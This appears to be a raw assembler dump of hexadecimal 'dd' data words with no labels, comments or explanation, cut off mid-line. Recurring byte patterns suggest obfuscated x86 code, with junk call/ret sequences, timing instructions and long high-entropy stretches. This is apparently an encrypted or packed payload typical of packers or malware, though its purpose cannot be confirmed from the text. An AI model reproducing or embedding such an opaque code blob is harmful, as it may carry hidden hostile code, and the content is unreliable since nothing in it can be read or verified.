0BD896006h, 61B0201h, 6AEE0BFh dd 0D0FF6133h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 6BC35747h, 892A4E9Eh, 1B003585h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 88234311h, 42DD6DA3h, 85C6EBB6h, 61B239Dh, 0DD8D8B6Ch dd 0E8061B32h, 4, 0DB057083h, 820Fh, 8A500000h, 24448BF9h dd 3860F04h, 66000000h, 8BD08Bh, 14E8h, 9BB6B900h, 33A11D8Ch dd 3B765EA8h, 0D27832EBh, 0ACC74F99h, 6E8609Dh, 31000000h dd 0CB5B5AA4h, 0CE85E21h, 7000000h, 99BF7701h, 4ED64E32h dd 5F44E472h, 44895A61h, 11E90424h, 0DA000000h, 0D2249282h dd 0EE0366Dh, 9AE8273Dh, 9D016D7Fh, 40BF6658h, 0F9B5FF66h dd 0E9061B2Bh, 0Ch, 51043D0h, 0E8BE6954h, 54348E9Bh, 391F858Dh dd 0E952061Bh, 6, 6F2B636Dh, 95B530Ah, 1B0E21BDh, 8BD0FF06h dd 6D8589FAh, 6A061EA0h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0E10BC357h, 0B70FE33Ah dd 80046ACFh, 0B168D1EBh, 812592ECh, 0FCB12434h, 0BD8B2592h dd 61B324Dh, 5640DE68h, 7BBFBAA0h, 48106B2h, 0AABF2224h dd 50006A5Fh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0CF582182h, 8501413Ah, 61B2409h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 8D8CABC3h, 61211D0Ch, 0AE856h, 180E0000h, 9B4E315Bh dd 58ACF4A4h, 5A93EA80h, 9BD8B5Fh, 0FF061B21h, 1B1A3195h dd 0B59D8B06h, 89061B0Dh, 1EA07985h, 6A97B106h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0A351AA10h, 845DBE04h, 8E872h, 0C3020000h, 363D97BBh dd 8D2B7CB0h, 61B097Dh, 4E85Bh, 0 dd 11E90001h, 32000000h, 0ED32BEF3h, 85D22C47h, 0ADE321CFh dd 0F5DD1EF6h, 61BB6650h, 24448BE7h, 0FE8B6604h, 6660008Bh dd 509616BBh, 8B310F52h, 61585ADEh, 4244489h, 4800Fh, 0BB660000h dd 5158FD1Bh, 16D1BD8Bh, 505F061Bh, 89D18B66h, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 7F74FEC3h, 8B662E47h, 6A0B6AFAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0CBAAC353h dd 119D2936h, 8D061B13h, 1EA04685h, 0EE906h, 42CC0000h dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 11E850h, 1DC80000h dd 6602745h, 7BC9B448h, 5C3058ECh, 0E9EDCB37h, 0Ch, 73B01335h dd 6B61CC66h, 64F23982h, 24048959h, 90BF71BAh, 0FD95FF5Dh dd 8B061B24h, 1B1451BDh, 50B58D06h, 6A061EA0h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0A2A5C351h, 31C5B557h, 807E21B0h, 6050DAC2h, 942E01B8h dd 61EC8A45h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7BD7C355h, 0E93644E2h dd 0BA66904Ah, 50508C68h, 52310F52h, 5A595F56h, 6A9058h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 5BD615C3h, 51394387h, 0B70FF290h, 0BD3352FBh, 61B1821h dd 2D95FF5Bh, 8B061B2Fh, 258589D9h, 0FF061B2Bh, 71BD8BD0h dd 8B061B08h, 1B1B558Dh, 79B58B06h, 8B061EA0h, 1B091195h dd 7185C706h, 61EA0h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 801AC351h, 0F00207Eh dd 25984h, 0EDBD8900h, 60061B08h, 2A819D29h, 468D061Bh dd 71952920h, 89061B03h, 1EA07585h, 0AE906h, 95890000h dd 61B12EDh, 0FFBF0F40h, 0F003880h, 0FFFFF385h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0FF7B3294h, 7C0D5F15h, 873BBA66h, 10759D09h, 0AE9061Bh dd 0F000000h, 8948CEBFh, 1B02418Dh, 5C388006h, 50840Fh dd 81660000h, 80ADF7C7h, 840F2F38h, 42h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 7C35141h, 686C9D6Eh dd 0B75CB0D6h, 0BE9h, 59EFB900h, 994B62A9h, 0FEE49C76h dd 0A075853Bh, 830F061Eh, 0FFFFFFA2h, 8940DF8Bh, 1B02D9BDh dd 61858906h, 83061B18h, 1EA07DBDh, 840F0006h, 92h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 91C35040h, 5BBA5085h dd 8912509Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 899BC1C3h, 1B08DD9Dh, 0F5852906h dd 3061B30h, 1EA07D85h, 0BE906h, 0F4DA0000h, 4D590CAh dd 0E8F3A478h, 0C676h, 32398589h, 6A58061Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0BA55C351h, 0C19589h, 0BB90061Bh, 878DD4Bh, 9DA7BB50h dd 8B901104h, 1B140595h, 68C0F06h, 8B000000h, 1B0D418Dh dd 69B5FF06h, 6A061EA0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 7EBDC352h, 7EC4F07Dh dd 131DBD89h, 95FF061Bh, 61EA06Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 81C35141h, 6E99A7Ah, 0C00BC537h dd 45850Fh, 0BD8B0000h, 61B32E5h, 0A9958961h, 0C7061B0Bh dd 1EA07185h, 106h, 6ACABF00h, 47E93F9Eh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 9C23C356h, 0BB66ADC3h, 61F5CFFBh, 1795BD0Bh, 0C681061Bh dd 11Ch, 7E2729BAh, 0FDA9E908h, 9D89FFFFh, 61B02C9h, 12698589h dd 4E8061Bh, 0 dd 0E9000080h, 0Ch, 49DD0A99h, 9ECDA7A1h, 0C9902E78h, 8BCF8B50h dd 0E9042444h, 11h, 0F2827AD9h, 63B8281Fh, 0F7E443C4h dd 0C58D67F9h, 50008B19h, 5A310F52h, 24448958h, 58CF8B04h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 49C35343h dd 6A74F2A9h, 7E900h, 5F60000h, 61DE4F3Ah, 61BD8B45h, 0FF061B1Bh dd 1EA079B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0CB81663Bh, 95FF049Ah, 61B0035h dd 13E9h, 859DF100h, 6D96080h, 9DFC98A7h, 0DBBD9022h, 0CCD36315h dd 0A071858Bh, 50F5061Eh, 489D78Bh, 8D55B624h, 1EA08185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 60897C05h, 9E9h, 0D82FB800h, 240CFE0Ch dd 0BE9EFA4h, 18000000h, 0B1AAF083h, 0A87EEED8h, 9061EAE3h dd 50DE8B66h, 2B90D78Bh, 1B1A219Dh, 3E858D06h, 6A061EA0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0ABBEC351h, 6675848Eh, 8950D78Bh, 9D8B2404h dd 61B312Dh, 2B1595FFh, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 9BFB40C3h, 8B683753h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8B36A654h, 1B317D95h, 0D1BD8306h, 61B23h dd 0BD830975h, 61B3129h, 50137400h, 0B8C08B53h, 4D0h, 0A4889D8Dh dd 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50117400h, 4D0B853h dd 9D8D0000h, 61DA387h, 585BD3FFh, 25E1B589h, 6A061Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 605222C3h, 8B663DB5h, 0C08B61DFh, 93FE381h, 8B58197Ch dd 1B091D8Dh, 8C206h, 2FD59D89h, 8166061Bh, 8B0499DBh dd 35F180C0h, 0A09F858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0D38AF6C3h, 779B0FC5h dd 530FC0A9h, 0AFE48060h, 20D9D01h, 5B61061Bh, 8589FC8Ah dd 61B0E1Dh, 39EBh, 2CC00BEh, 2E400BEh, 0BEh, 3D2F0000h dd 31EAB861h, 39BF8978h, 3D1CDD69h, 7AD8B062h, 54B6B168h dd 18298942h, 20F8DD40h, 3A3EAD43h, 31DFB558h, 34D6B96Dh dd 0C9E2BD6Ch, 52AEDF7Dh, 0C96FF66Dh, 356BC62Eh, 54DC1D87h dd 54583559h, 98DDD0Ch, 385F80CFh, 10EAD928h, 54A9D928h dd 19FDD0Ch, 9B5E13CFh, 60EBF363h, 0C9D26DF1h, 52B6F435h dd 7707608Fh, 216BDB17h, 7D085E05h, 54DCC63Dh, 73DC478h dd 0ED0E1D87h, 0DD5BDD08h, 4F807C89h, 194B500Ah, 0AB6DC0AAh dd 0D7ED86DFh, 4FEBF4B1h, 4319DD0Ah, 0ED0E8E5Ch, 0DD5BDD08h dd 4F807C89h, 684B500Ah, 0AB6DC0AFh, 0DDED86DFh, 4FDC0C99h dd 66DB70Ah, 54B6DEE4h, 9701FD0Ch, 70F95456h, 70925C08h dd 546BC708h, 97E79F0Ch, 4BBFE66h, 0EA57B3D6h, 2EB0E6FAh dd 0DA54BD5Bh, 54ADDD0Ch, 35BB028Ch, 67AB5653h, 4F84BC81h dd 0C95F1B0Ah, 26BC62Fh, 0BCE3DD66h, 545BDD0Fh, 96E802Ch dd 50F2B185h, 504F998Dh, 54B5DD1Ah, 87198849h, 0DF0B2DBFh dd 54B235FDh, 0EC09DD0Ch, 0D3A241A4h, 54D6DD0Eh, 0ED3B0C87h dd 3B2FCF97h, 50FE9987h, 54E6845Ah, 103F1186h, 60BD928h dd 89C4676Ah, 5B3EEC03h, 0E16BDD0Ch, 0C35FE446h, 0CA841D5Eh dd 9D1D47C7h, 535FD183h, 995BDD0Ch, 9CDE4F47h, 0E8CFB06h dd 54018554h, 54B6355Ah, 0AFADD0Ch, 20E483CFh, 1037D928h dd 5443D928h, 2EBDD0Ch, 661148CFh, 0E19436D0h, 52AEF21Dh dd 54DC5D03h, 0D9E6DD0Ch, 52ADC945h, 241D5881h, 54C7DB12h dd 54D5355Eh, 0E4BDD0Ch, 3C87CFh, 105BD928h, 5470D928h dd 6F4DD0Ch, 95F05CFh, 46D194Eh, 0DF01E8AFh, 4F72A8B9h dd 0BD65220Ah, 54DADD05h, 692BCBB0h, 0EBCD9A3h, 3E5FB78Dh dd 57458B0Ch, 74D6DD0Ch, 0DD351E52h, 0D5B1F978h, 43DEF948h dd 126DDD0Ch, 0B111E5Ah, 0D53D0BA3h, 7D22E2DDh, 4FF9A8B1h dd 95BB50Ah, 853E3EF2h, 84FED98Dh, 3E71DCBEh, 575E8B0Ch dd 745BDD0Ch, 0DDF31E52h, 0D5D2F978h, 426FF948h, 12B5DD0Ch dd 76871E5Ah, 9FE6BBDCh, 0FDB01664h, 0D6548F3Ch, 54ADDD0Ch dd 70E25C53h, 64C2D92Bh, 54DF2587h, 54B00DF3h, 546E355Eh dd 0E96DD0Ch, 0D287CFh, 102CD928h, 54C3D928h, 629DD0Ch dd 0DDE250CFh, 4FFBE8B1h, 0D9E8540Ah, 0BCB0C3A1h, 545BDD1Eh dd 0C0FF7EBBh, 1608636Bh, 421C4F0Bh, 0D6D8FD3h, 0E1DBCC90h dd 5276CCA5h, 514E5656h, 545BDFC0h, 0F93C5885h, 9455DB12h dd 0C1EE5414h, 67B3C3A1h, 563664CCh, 0FE9EDD0Ch, 53DF4085h dd 343BDB17h, 0E76D6203h, 3281BC3Bh, 0ED00078Dh, 0D173BC54h dd 52C1FE91h, 16DB74Fh, 54B6DEE4h, 9706FD0Ch, 70C15451h dd 70925C08h, 546BC408h, 97E0980Ch, 95978E55h, 0E1E44B3Bh dd 52ADDC01h, 5451346Ch, 1007DD0Ch, 42A40B2h, 0AA9ACA3h dd 545FB56Dh, 5C3327D6h, 0DD6DDD0Ch, 0EB90804Ch, 0D51D4A32h dd 3F19F938h, 54BCBBB1h, 5468355Ch, 0C95DD0Ch, 105385CFh dd 10ECD928h, 54ABD928h, 41BDD0Ch, 243B5DCFh, 3B270DF9h dd 5B0DE97Ch, 0E14A26B3h, 52C1F21Dh, 242B5881h, 0DBB9DB12h dd 545BDD19h, 54ADD4E4h, 0C84820Ch, 870EEFAAh, 0E1BE8C62h dd 52C1DA1Dh, 32BD2252h, 0DDAACCB5h, 4F5A5C89h, 1ADB70Ah dd 54D6DEE4h, 9736FD0Ch, 70D95451h, 709E5C08h, 546DCA08h dd 97E3980Ch, 29B4C0D6h, 91DF636Ah, 78475881h, 5401DB17h dd 54B6355Eh, 0EFADD0Ch, 0E487CFh, 1037D928h, 544FD928h dd 6EFDD0Ch, 0EAB018CFh, 0D1E2F64Eh, 52AEC70Dh, 0BC89DD66h dd 546DDD0Fh, 0F75862Ch, 507F8185h, 5089998Dh, 54D6DD18h dd 5FA88E4Fh, 0D1732387h, 52C1FE91h, 36DB75Fh, 54B6DEE4h dd 9704FD0Ch, 70D15453h, 70925C08h, 546BC408h, 97E29A0Ch dd 0FCE4CB08h, 0D26210AFh, 54B6DD0Ah, 751A4085h, 5045DB17h dd 8CD6DD0Ch, 0DF976C44h, 5E5C8DDAh, 0C2DADD0Ch, 0FC435D5Fh dd 0C6FF71FFh, 701F5675h, 4316BD08h, 5BC3FF87h, 546BDF8Dh dd 3566560Ch, 32BADD87h, 72591B6h, 302E626Ah, 10D2BC56h dd 0DEFCD928h, 328E84DDh, 0ABDF3FB6h, 4F9ACCB9h, 0B54FDC0Ah dd 0D96BC61Eh, 4AC69B89h, 71815D0Ah, 0E3A20DF3h, 515354C5h dd 0DF6DC62Eh, 4F94D499h, 0C95F1B0Ah, 76BC62Fh, 0BCE3DD66h dd 545BDD0Fh, 96E802Ch, 50F2B185h, 504F998Dh, 54B5DD18h dd 69198849h, 0FBF5C6Ah, 8193B571h, 50DA6F7Fh, 0F0425328h dd 5D6B729h, 546BDEE4h, 97ECFD0Ch, 70965455h, 70295C08h dd 54B6C408h, 970A9C0Ch, 0ADA1F426h, 0D1D936D2h, 546BDD0Ah dd 7F38502Fh, 0E125DB17h, 5276F21Dh, 49E76887h, 0C150DB17h dd 52B6CD59h, 24905881h, 4683DB12h, 11B5DD0Ch, 0E7B7CCABh dd 66A1F4E6h, 7572742Fh, 0C86766C6h, 0B22CBBA6h, 0AB88ADCBh dd 546635DCh, 4C4ADD0Ch, 0D89B8BEh, 0D049419h, 0A877905Fh dd 45DE5456h, 3EABC60Dh, 573E8E0Ch, 746BDD0Ch, 0DDEE1E57h dd 0D5DEF950h, 4E69F948h, 17B6DD0Ch, 0A821E5Fh, 0F20DABB9h dd 9563F486h, 926DC60Fh, 4F964089h, 54B09A0Ah, 546E355Fh dd 0F96DD0Ch, 8D286CFh, 102CD928h, 54CDD928h dd 728DD0Ch, 0C5F5DCFh, 187EAEC2h, 54793501h, 3730DD0Ch dd 0AF166036h, 0A7F6FF5Ah, 6BC8D5FDh, 0C6178524h, 0A499F62h dd 54DAD9E4h, 8AB0740Ch, 4E48DBBh, 0DAE2BB5Eh, 329CD25Bh dd 0EC92EB3h, 0E5AD254h, 525D8D54h, 34DADD0Ch, 220A81CCh dd 35D68C6Eh, 10D08255h, 0BCCDD928h, 54D6DD09h, 49880CC4h dd 0BB076572h, 0E480AF2Fh, 54E6BC49h, 0BB2146B6h, 701F5470h dd 0F1156308h, 3E8EB3A9h, 57838F0Ch, 74B5DD0Ch, 0DD801E56h dd 0D569F958h, 4DB2F948h, 165BDD0Ch, 97B21E5Eh, 51D6240Ah dd 54695103h, 0A907DD0Ch, 7BCB68F3h, 0E946DB17h, 52ADC1C1h dd 241D5881h, 54C7DB12h, 54D5355Dh, 0D4BDD0Ch, 183C84CFh dd 105BD928h, 5478D928h, 5F7DD0Ch, 329820CFh, 0B8DD078Dh dd 54BC0DF3h, 5468355Ch, 0C95DD0Ch, 105385CFh, 10ECD928h dd 54AFD928h, 41BDD0Ch, 27BD3CCFh, 2E6BACAh, 46AA4825h dd 0DDECDB17h, 4FC2DC89h, 26DB70Ah, 54B6DEE4h, 9705FD0Ch dd 70D95452h, 70925C08h, 546BC008h, 97E39B0Ch, 7266996Ch dd 9F991CB4h, 0C99FF504h, 5240C1F5h, 773058CAh, 3E91DB17h dd 5783880Ch, 74B5DD0Ch, 0DD871E51h, 0D569F960h, 48B2F948h dd 115BDD0Ch, 46501E59h, 5846F65Ah, 0D5230DBAh, 0BB19B3DAh dd 0EA77B50Ah, 5FD3F8C5h, 0D5AB9A00h, 596F908h, 54C7811Eh dd 54D5355Bh, 0B4BDD0Ch, 283C82CFh, 105BD928h, 5474D928h dd 3F1DD0Ch, 4EB2FBCFh, 321EE81Bh, 0AB7646B5h, 4F44CCB9h dd 7B5B70Ah, 54DADEE4h, 9736FD0Ch, 70EA5457h, 701F5C08h dd 54ADC908h, 97859E0Ch, 546435ACh, 0D84DDD0Ch, 0D54B8CA4h dd 0A2F66DE7h, 1D72CCC0h, 18D56296h, 0BDF4EA44h, 54D6DD02h dd 28990D6h, 5C3ED637h, 634EBF64h, 0D1E0F0FFh, 52A8AD4Ah dd 0BC0EDD66h, 54ADDD0Fh, 915802Ch, 504FB185h, 5091998Dh dd 54DADD1Ah, 0E4AE8849h, 405F09A0h, 0FF5BDD0Ch, 3E4C0665h dd 482841DCh, 0E3F092B1h, 8C21C01Dh, 0A8B0EEF7h, 0BC0D0DF3h dd 54B6DD05h, 7E5D0F53h, 0C34EDE34h, 2882499h, 546BDAE5h dd 0DA60CF0Ch, 42AC9E02h, 0D9E6BC57h, 52ADDC3Dh, 66BA5885h dd 54C7DB17h, 54D5355Eh, 0E4BDD0Ch, 3C87CFh, 105BD928h dd 5470D928h, 6F4DD0Ch, 96B5C9CFh, 6C4E4B49h, 0D596802Eh dd 609242CDh, 0C9301B56h, 13DCC62Fh, 76486087h, 65DEDB17h dd 3494AA09h, 54ADD5E4h, 94FBDA0Ch, 0F870D16Fh, 54BE349Dh dd 17A1DD0Ch, 12AF1481h, 0A146692Dh, 0D53A875Ch, 6DC1F938h dd 54BCB8B6h, 5468355Dh, 0D95DD0Ch, 185384CFh, 10ECD928h dd 54A3D928h, 51ADD0Ch, 5B4E41CFh, 54D6DE86h, 85D4D20Ch dd 7BA468F3h, 0D1D3DB17h, 5276F8E5h, 0A279128Dh, 0D1D68E07h dd 52B3AD4Ah, 0BC83DD66h, 546BDD0Fh, 976802Ch, 50FEB185h dd 5049998Dh, 54B6DD1Bh, 0C8988849h, 0ABE6399Bh, 1D6B7DCh dd 546BDEE4h, 97E8FD0Ch, 70B65451h, 70295C08h, 54B6C908h dd 970E980Ch, 31205665h, 0DDD0C617h, 4F424889h, 0DD4DBD0Ah dd 4FF05081h, 8492BC0Ah, 469F5885h, 5431DB17h, 54AE355Ah dd 0AF6DD0Ch, 20E283CFh, 1034D928h, 54C0D928h, 22BDD0Ch dd 263A67CFh, 88F72506h, 529B626Ah, 5B0E516Ah, 0B6EB12BBh dd 0DFB1F9A3h, 4FF71881h, 5BADD70Ah, 54B58888h, 75BB70Ch dd 54ADDEE4h, 978DFD0Ch, 70375457h, 70F15C08h, 54DAC608h dd 973E9E0Ch, 0D146791Bh, 56D068A9h, 9FFE128Dh, 0D110FD48h dd 5270FE91h, 4D085443h, 0DFDCC626h, 4F63CC81h, 0AA2DB50Ah dd 0DF3D6BB7h, 70A95CDFh, 5C12B325h, 4212480Dh, 0E14ADB17h dd 52C1F21Dh, 0BC3FDD66h, 54B6DD0Fh, 0E98872Ch, 50898985h dd 50F2998Dh, 546BDD17h, 31768F4Eh, 0B8E86A2Ah, 5584FDCDh dd 4FAE3CB9h, 12DE500Ah, 0EDABC37Ch, 1F67FBBFh, 0D9E20DF3h dd 52AEF35Dh, 0DDFE1D8Fh, 4F44B899h, 9A01D20Ah, 666E5885h dd 54C7DB17h, 54D5355Ah, 0A4BDD0Ch, 203C83CFh, 105BD928h dd 5476D928h, 2F0DD0Ch, 915DCACFh, 0A5CA60C8h, 5757D2F8h dd 326BDD0Ch, 0D13E1287h, 52C1CF25h, 45A44887h, 0C93DDB17h dd 5240F499h, 56086885h, 3E95DB17h, 57838E0Ch, 74B5DD0Ch dd 0DD811E57h, 0D569F950h, 4DB2F948h, 175BDD0Ch, 0F9AF1E5Fh dd 4FBE8AF3h, 56EE4887h, 0BCD5DB17h, 54DADD04h, 0E1BC9F34h dd 0C8D32813h, 66426087h, 0D4F4DB17h, 0DFB790C7h, 66BB717h dd 54B5DEE4h, 9780FD0Ch, 70395456h, 70F25C08h, 545BC508h dd 97FF9F0Ch, 1E52A883h, 0A9E1BD7Eh, 3EAE566Dh, 57328E0Ch dd 746DDD0Ch, 0DDED1E57h, 0D55FF950h, 4EA9F948h, 17D6DD0Ch dd 5F661E5Fh, 0E791A4F9h, 6947D47Fh, 0BD6BC603h, 54B6DD04h dd 61964199h, 52881BDDh, 54BCC687h, 5468355Bh, 0B95DD0Ch dd 285382CFh, 10ECD928h, 54A1D928h, 31CDD0Ch, 7F80B5CFh dd 4E52D2CDh, 346BDD0Ch, 54B5D0E5h, 0A77DEA0Ch, 0A3029311h dd 66F00816h, 0DB5495C9h, 54ADDD0Ch, 0CD63566Dh, 676DC623h dd 6B5B7D4h, 54DADEE4h, 9737FD0Ch, 70E25456h, 701F5C08h dd 54ADC808h, 97849F0Ch, 0A83A6A0Eh, 65285452h, 3EDCC626h dd 57858D0Ch, 74B6DD0Ch, 0DD031E54h, 0D5A9F948h, 43D2F948h dd 146BDD0Ch, 0E6B61E5Ch, 0D11CD722h, 5276FE91h, 0D308BB4Bh dd 545F35B8h, 8904DD0Ch, 0EEB06AD2h, 0EA3BF9EAh, 5208F345h dd 50FE9987h, 81FF636Ah, 0EFD6DD87h, 1694834Ah, 0DDCC2587h dd 0CD2F948h, 0BC38DD66h, 54B5DD0Fh, 0F19862Ch, 50498185h dd 5092998Dh, 545BDD18h, 526E8E4Fh, 54D6CDE4h, 0ECB3560Ch dd 0A02BAC3Fh, 0C6E33FE2h, 7C064A05h, 0AD868F8h, 7B4A68F3h dd 54C7DB17h, 54D5355Ah, 0A4BDD0Ch, 203C83CFh, 105BD928h dd 5474D928h, 2F0DD0Ch, 0ADA991CFh, 463E2D8h, 0D15B87F9h dd 5275AD4Ah, 0BCE3DD66h, 54DADD0Fh, 0AAE832Ch, 5092A985h dd 507F998Dh, 54ADDD1Bh, 95158B4Ah, 0DF0FEB85h, 4F9BD8B9h dd 515FF40Ah, 0AB6BC62Dh, 2D03F4DCh, 0DD5DC620h, 4FB5DC89h dd 0EB96240Ah, 148F37F4h, 54DFDD87h, 54D9355Fh, 0F4DDD0Ch dd 83F86CFh, 10DAD928h, 54B0D928h, 795DD0Ch, 23A549CFh dd 9E7A35EEh, 0DF68DE75h, 0F5E0540Ch, 0DDB0C61Dh, 4F424889h dd 2ADB70Ah, 54D6DEE4h, 9735FD0Ch, 70C15452h, 709E5C08h dd 546DC608h, 97E09B0Ch, 0AEA06CD3h, 6F323927h, 0BD21566Ah dd 546BDDA9h, 0EE28F5Fh, 0D1578456h, 527370BFh, 59FB403Dh dd 34CBDB17h, 3573566Ah, 54C6345Ch, 0AD1CDD0Ch, 20D267EBh dd 655BCAFAh, 4D0D1DB8h, 0D526A47Fh, 34A799FBh, 25382268h dd 5BD0C616h, 546BDB8Eh, 0D538540Ch, 0D9DCC61Ch, 4AC06491h dd 8309D20Ah, 5DDAD25Ch, 34ADDD0Ch, 1E6E0C87h, 3514F239h dd 6591C185h, 4FF6D8B9h, 0DF0B8D0Ah, 70B254DCh, 0C1A42587h dd 52B6F221h, 0AB3F5C6Ah, 350B8AD1h, 61305455h, 3EDCC63Eh dd 57858E0Ch, 74B6DD0Ch, 0DD001E57h, 0D5A9F950h, 42D2F948h dd 176BDD0Ch, 3C151E5Fh, 0C95F1BC6h, 76BC62Fh, 0BCE1DD66h dd 545BDD0Fh, 0B6E822Ch, 50F2A185h, 504F998Dh, 54B5DD14h dd 0CF198A4Bh, 0EAB1AAF4h, 54B35B03h, 3E5DD0Ch, 3C9D813Eh dd 0C8CF5EB3h, 944FE98Dh, 3E83430Bh, 57328F0Ch, 746DDD0Ch dd 0DDEC1E56h, 0D55FF958h, 4EA9F948h, 16D6DD0Ch, 4BC61E5Eh dd 0C48B1331h, 654FF4B5h, 0AD6BC623h, 7BA768F3h, 0D1D2DB17h dd 52B6C539h, 24905881h dd 5401DB12h, 54B6355Bh, 0BFADD0Ch, 28E482CFh, 1037D928h dd 544DD928h, 3EADD0Ch, 4EACDCCFh, 546BD8E5h, 1ACB410Ch dd 8425B946h, 0BC3CDD66h, 54B6DD0Fh, 0D98842Ch, 50899185h dd 50F2998Dh, 546BDD14h, 0F2768C4Dh, 236483ECh, 40405885h dd 32D6DB17h, 0E1D20D87h, 52B6F3F5h, 845DBB6Dh, 77F658CAh dd 65F2DB17h, 4FD88499h, 5469350Ah, 4126DD0Ch, 8CE27C7Eh dd 4FD339Bh, 54D25C03h, 0EB0DDD0Ch, 103E9342h, 7964D928h dd 0DF75C2D0h, 0DD78560Ch, 5B5FF948h, 54ADD28Bh, 54DC340Ch dd 0ECEEDD0Ch, 0D3FE5DDAh, 1A49A0FFh, 54793454h, 1AE0DD0Ch dd 918E4EFEh, 0FC703E1Dh, 0BC7F72D4h, 8B9E64D0h, 0E14A05F7h dd 52C1F21Dh, 0BC3EDD66h, 54B6DD0Fh, 0F98862Ch, 50898185h dd 50F2998Dh, 546BDD18h, 11768E4Fh, 236C2F8Dh, 0D1E0E4A5h dd 52A8AD4Ah, 79666887h, 8452DB17h, 7153546Ch, 0E06DC607h dd 0D13CBCF0h, 52C1C6C5h, 0B0DC348Dh, 0D170DDCFh, 5240FE91h dd 7ADB75Fh, 54D6DEE4h, 9730FD0Ch, 70E95457h, 709E5C08h dd 546DC408h, 97E59E0Ch, 6DCEC3B2h, 32CD98EFh, 0D15D1687h dd 5270D7BDh, 2D00F46Dh, 0BCDCC60Bh, 546DDD08h, 0CD8F829Ch dd 4AA566Ah, 50899987h, 54CA5203h, 0D464DD0Ch, 54B5DD1Ah dd 54DACDE4h, 9966780Ch, 0F8959A36h, 58A3B7D5h, 1155F492h dd 545D8418h, 504F9985h, 54B5D8E5h, 85BF750Ch, 3E35F55Ah dd 575E8C0Ch, 745BDD0Ch, 0DDF41E55h, 0D5D2F940h, 496FF948h dd 15B5DD0Ch, 50CD1E5Dh, 0BB9E64BEh, 3047AA7Fh, 7B4A68F3h dd 54C7DB17h, 54D5355Bh, 0B4BDD0Ch, 283C82CFh, 105BD928h dd 5477D928h, 3F1DD0Ch, 9F1864CFh, 0DDC21DC5h, 54D6D4E4h dd 2E3D3E0Ch, 396FC485h, 0DFBA5662h, 35656BC7h, 12335055h dd 675DC37Ch, 4FBA90B1h, 5256D20Ah, 656BDD0Ch, 4FAE7491h dd 0EE0A220Ah, 75604FEAh, 7B335885h, 0D970DB17h, 52B6CC2Dh dd 774B58CAh, 0E63CDB17h, 51EFB525h, 0DFBC5609h, 70695CFBh dd 504991A0h, 0BC0EDD66h, 54ADDD0Fh, 915802Ch, 504FB185h dd 5091998Dh, 54DADD1Ah, 0BAE8849h, 0D4B9AC6Eh, 545BDD0Ah dd 5F106887h, 0D1DFDB17h, 5270DBF5h, 7BA468F3h, 4033DB17h dd 0AF6DDD0Ch, 0E6DEA504h, 0C0A42919h, 52975F7Eh, 8AC130CEh dd 0D9B6E275h, 4AC59B89h, 4947540Ah, 0AB6BC63Ch, 54A534DCh dd 5AFBDD0Ch, 7FFBCFF1h, 8460D19Ch, 7ACBF344h, 8919984h dd 525AD2E7h, 0DD6DDD0Ch, 4F951089h, 51DE540Ah, 32ABC604h dd 0D1102A87h, 5270FE91h, 6B5B74Fh, 54DADEE4h, 9737FD0Ch dd 70E25456h, 701F5C08h, 54ADC108h, 97849F0Ch, 1A2FE774h dd 11F852FCh, 6D2C5D1Bh, 34B82F64h, 70B25C4Ah, 2274473Ah dd 0BCFBDD66h, 54D6DD0Fh, 0AA8832Ch, 5091A985h, 50FE998Dh dd 546DDD16h, 0D758B4Ah, 1496D484h, 0BA2CA2FDh, 0D4A2353h dd 7B7A68F3h, 0DEBADB17h, 54DADD0Ch, 242B5881h, 54DCDB12h dd 5458355Dh, 0D8DDD0Ch, 185F84CFh, 10EAD928h, 54A2D928h dd 59BDD0Ch, 0B32944CFh, 0A501D253h, 0D6540DF3h, 54ADDD0Ah dd 0AFC6138Dh, 0D1E2CB65h, 52AEF6EDh, 0BC88DD66h, 546DDD0Fh dd 0E75872Ch, 507F8985h, 5089998Dh, 54D6DD1Bh, 0C4A88F4Eh dd 0EDFC9CEAh, 5B614AF0h, 0F9C45881h, 54DCDB12h, 5458355Fh dd 0F8DDD0Ch, 85F86CFh, 10EAD928h, 